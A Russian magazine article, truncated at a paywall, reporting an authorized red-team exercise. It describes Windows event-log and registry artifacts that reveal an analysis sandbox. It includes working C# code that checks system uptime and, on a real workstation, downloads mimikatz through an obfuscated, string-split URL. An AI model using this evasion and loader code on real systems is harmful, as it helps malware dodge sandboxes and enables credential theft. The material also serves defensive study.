Содержание статьи
- Как определить, что мы в песочнице
- Редко блокируется рабочий стол
- Большой аптайм
- Незаметна работа
- Не используется панель задач
- Примеры детекта
- Затруднение криминалистики
- Sysprep
- Event Log Explorer
- Разреженные файлы
- Скрипты
- Эмуляция кибератаки
- Remote Services: Remote Desktop Protocol (T1021.001)
- Software Discovery (T1518)
- Exploitation for Privilege Escalation (T1068)
- Ingress Tool Transfer (T1105)
- OS Credential Dumping
- Ingress Tool Transfer (T1105)
- Exfiltration Over Web Service Exfiltration to Cloud Storage (T1567.002)
- Ingress Tool Transfer (T1105)
- Create or Modify System Process: Systemd Service (T1543.002)
- Defense Evasion (TA0005)
- Выводы
Это исследование получило второе место на Pentest Award 2025 в категории «Раз bypass, два bypass». Соревнование ежегодно проводится компанией Awillix.
Кратко о том, что делали и зачем.
Среда: Windows основной ИТ‑инфраструктуры организации.
Сценарии атак:
- фишинговая рассылка (в этой статье мы ее рассматривать не будем);
- проникновение через компанию‑подрядчика — вот про это и весь наш разбор.
Условия тестирования:
- выделенная локальная учетка с правами администратора на устройстве;
- VPN-доступ в инфраструктуру;
- непривилегированная доменная учетка в Active Directory.
Дополнительные запросы клиента:
- отдельно проверить работу песочницы в почтовом шлюзе;
- при эмуляции использовать контркриминалистические (anti-forensic) приемы;
- расширить сценарий, добавив к TTP реальных группировок новые техники и инструменты, — чтобы усложнить задачу и реально проверить экспертизу сотрудников.
Как определить, что мы в песочнице
Для детектирования и обхода сендбоксов мы использовали техники, опубликованные в нашем (совместно с другим спикером) докладе «Война с песочницей: техники по ту сторону баррикад» на конференции PHDays 2024. Эти техники основаны на анализе артефактов и журналов Windows.
Мы использовали лишь часть перечисленных в докладе техник. Давай посмотрим, какие моменты позволяют определить, что мы работаем в песочнице.
Редко блокируется рабочий стол
Блокировка и разблокировка экрана рабочего стола — очень редкие события в песочнице.
Источник — события с идентификатором 812 журнала Microsoft-Windows-Winlogon%4Operational.. Нас интересуют только события с вхождением <, которые генерируются при блокировке и разблокировке экрана рабочей станции.



Большой аптайм
Временные промежутки безостановочной работы (uptime) рабочей станции сотрудника значительно дольше, чем у виртуальной машины песочницы.
Источник — события с идентификатором 6013 журнала System. — время работы системы в секундах. Дополнительно можно учитывать следующие события из того же журнала для более точного подсчета времени работы системы:
- 6005 — запуск службы «Журнал событий Windows» (Event Log), указывает на включение системы;
- 6006 — остановка службы «Журнал событий Windows» (Event Log). Указывает на выключение системы.


Незаметна работа
Если пользователь не работает с офисными документами, значит, высок шанс, что мы в песочнице.
Первый источник — разрешение пользователя на редактирование документов и запуск макросов в офисных документах.
Пользовательский реестр NTUSER.:
HKU\*\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords
Искать нужно временную метку, указывающую на то, когда пользователь давал разрешение на определенное действие (Enable Editing, Enable Content / Enable Macros), а также учитывать общее количество документов.
Второй источник — событие с идентификатором 300 из журнала Windows OAlerts.. Оно генерируется, например, при появлении запроса на сохранение документа Office (Excel, Word и так далее). В данном случае нас интересует количество таких записей, а также временная метка создания последнего события в журнале.



Не используется панель задач
Пользуясь рабочей машиной, сотрудник будет активно взаимодействовать с панелью задач Windows: нажимать на кнопку «Пуск», поле поиска (TrayButtonClicked), переключаться с одного приложения на другое (AppSwitched), запускать программы, прикрепленные к панели задач (AppLaunch).
Windows также отслеживает обновление значков приложений на панели задач (AppBadgeUpdated) и нажатие правой кнопки мыши по приложению на панели задач (ShowJumpView).
Источник — пользовательский реестр NTUSER.:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
Примеры детекта
Вот код на C#, который использует признак аптайма системы для определения песочницы (то есть один из перечисленных признаков, тогда как в реальности мы использовали все четыре):
using System;using System.Collections.Generic;using System.Diagnostics.Eventing.Reader;using System.IO;using System.Net.Http;using System.Text.RegularExpressions;using System.Threading.Tasks;class Program{ public struct UptimeEntry { public DateTime TimeCreated; public int UptimeInSeconds; } static async Task Main() { List<UptimeEntry> uptimeEntries = new List<UptimeEntry>(); string query = "*[System/EventID=6013]"; var logQuery = new EventLogQuery("System", PathType.LogName, query); logQuery.ReverseDirection = false; var logReader = new EventLogReader(logQuery); EventRecord record; while ((record = logReader.ReadEvent()) != null) { try { DateTime? timeCreated = record.TimeCreated; string message = record.FormatDescription(); if (!string.IsNullOrEmpty(message)) { int uptime = ParseUptimeFromMessage(message); if (uptime >= 0) { uptimeEntries.Add(new UptimeEntry { TimeCreated = timeCreated ?? DateTime.MinValue, UptimeInSeconds = uptime }); } } record.Dispose(); } catch (Exception ex) { Console.WriteLine("Ошибка: " + ex.Message); } } List<int> filtered = ApplyCorrectedBufferAlgorithm(uptimeEntries); foreach (var val in filtered) { Console.WriteLine(val); } int countGreaterThan = 0; foreach (var val in filtered) { if (val > 43200) countGreaterThan++; } if (countGreaterThan > 3) { string url = "ht" + "tp" + "s:/" + "/git" + "hub" + ".com/" + "ge" + "nt" + "ilki" + "wi/mi" + "mik" + "atz/" + "releases" + "/download/2" + ".2.0-20220919/m" + "imi" + "katz" + "_tr" + "unk.7z"; string publicDir = Environment.ExpandEnvironmentVariables(@"%Public%\Music"); string targetPath = Path.Combine(publicDir, "mi" + "mi" + "ka" + "tz_" + "tr" + "unk.7z"); try { Directory.CreateDirectory(publicDir); using (var httpClient = new HttpClient()) { byte[] fileBytes = await httpClient.GetByteArrayAsync(url); File.WriteAllBytes(targetPath, fileBytes); } } catch (Exception ex) { Console.WriteLine("Ошибка при загрузке файла: " + ex.Message); } } } static int ParseUptimeFromMessage(string message) { var matchEn = Regex.Match(message, @"uptime\sis\s(\d+)\sseconds"); if (matchEn.Success) return int.Parse(matchEn.Groups[1].Value); var matchRu = Regex.Match(message, @"работоспособного\sсостояния\s(\d+)\sсек"); if (matchRu.Success) return int.Parse(matchRu.Groups[1].Value); return -1; } static List<int> ApplyCorrectedBufferAlgorithm(List<UptimeEntry> entries) { List<int> result = new List<int>(); if (entries.Count == 0) return result; if (entries.Count == 1) { result.Add(entries[0].UptimeInSeconds); return result; } int buffer = entries[0].UptimeInSeconds; for (int i = 1; i < entries.Count; i++) { int current = entries[i].UptimeInSeconds; if (current > buffer) { buffer = current; } else { result.Add(buffer); buffer = current; if (i == entries.Count - 1) { result.Add(current); } } } if (result.Count == 0 || result[result.Count - 1] != buffer) { result.Add(buffer); } return result; }}Если скрипт определит, что программа запущена на компьютере сотрудника, то скачивается архив mimikatz по ссылке:
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z
Если же мы в песочнице, программа завершится.

Затруднение криминалистики
Sysprep
Утилита Sysprep (System Preparation Tool) предназначена для подготовки устройства к снятию образа Windows, но в ее библиотеках есть функции, которыми можно воспользоваться для удаления криминалистических артефактов и отсоединения хоста от Active Directory.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»
